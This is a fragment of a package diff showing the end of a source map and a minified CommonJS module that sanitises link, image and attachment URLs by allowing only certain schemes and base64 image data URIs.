fileName);\n}\n"],"mappings":";;AAqBA,IAAM,IAAM,KAqDN,IAAkB,gBAQlB,IAAe;AAoBrB,SAAS,EAAkB,GAAuB;CAE9C,OADI,MAAU,OAAO,EAAa,KAAK,CAAK,IAAU,IAC/C,EAAgB,KAAK,CAAK,IAAI,IAAI,MAAU;AACvD;AAaA,SAAS,EAAY,GAAe,GAA2B;CAO3D,OALI,EAAM,SAAS,CAAS,KACxB,EAAM,SAAS,IAAG,KAClB,EAAM,SAAS,IAAI,KACnB,EAAM,SAAS,IAAI,IAEhB,IAAI,EAAM,WAAW,MAAK,MAAI,EAAE,KADhB;AAE3B;AAiBA,SAAS,EAAS,GAAgB,GAA6B;CAM3D,OALI,KAAU,OAAoC,KAC9C,OAAO,KAAU,YAAY,OAAO,KAAU,YAAY,OAAO,KAAU,YACpE,OAAO,CAAK,IAEnB,aAAiB,OAAa,EAAM,YAAY,IAC7C,IAAa,EAAkB,OAAO,CAAK,CAAC,IAAI,OAAO,CAAK;AACvE;AAwBA,SAAgB,EACZ,GACA,GACA,IAAsB,CAAC,GACjB;CACN,IAAM,EAAE,eAAY,KAAK,SAAM,IAAM,wBAAqB,OAAS,GAE7D,IAAQ,CACV,EACK,KAAK,MAAW,EAAY,EAAS,EAAO,QAAQ,CAAkB,GAAG,CAAS,CAAC,CAAC,CACpF,KAAK,CAAS,CACvB;CAEA,KAAK,IAAM,KAAO,GAAM;EACpB,IAAM,IAAQ,EAAQ,KAAK,MAIhB,EAAY,EAHP,EAAO,MACb,EAAO,IAAI,CAAG,IACb,EAAgC,EAAO,MACb,CAAkB,GAAG,CAAS,CAClE;EACD,EAAM,KAAK,EAAM,KAAK,CAAS,CAAC;CACpC;CAEA,OAAO,GAAG,IAAM,IAAM,KAAK,EAAM,KAAK,MAAM;AAChD;AAoBA,eAAsB,EAClB,GACA,GACA,IAAW,cACX,IAAsB,CAAC,GACV;CACb,IAAM,IAAO,IAAI,KAAK,CAAC,EAAM,GAAM,GAAS,CAAO,CAAC,GAAG,EACnD,MAAM,yBACV,CAAC;CACD,MAAM,EAAoB,GAAM,CAAQ;AAC5C"}
|
|
@@ -0,0 +1,2 @@
|
|
|
1
|
+
var e=new Set([`http:`,`https:`,`mailto:`,`tel:`,`sms:`]),t=new Set([`http:`,`https:`,`blob:`]),n=/^data:image\/(png|jpe?g|gif|webp|avif|bmp);base64,[a-z0-9+/=\s]+$/i;function r(e){return e.replace(/[\u0000-\u0020\u007F]/g,``).trim()}function i(e){return/^[a-z][a-z0-9+.-]*:/i.test(e)?e.slice(0,e.indexOf(`:`)+1).toLowerCase():null}function a(t){let n=r(t);if(!n)return null;let a=i(n);return a===null||e.has(a)?n:null}function o(e){let t=r(e);return t?n.test(t)?t:/^data:/i.test(t)?null:a(t):null}function s(e){let a=r(e);if(!a)return null;if(n.test(a))return e;let o=i(a);return o===null||t.has(o)?e:null}exports.safeAttachmentUrl=s,exports.safeImageUrl=o,exports.safeLinkUrl=a;
|
|
2
|
+
//# sourceMappingURL=safe-url.cjs.map
|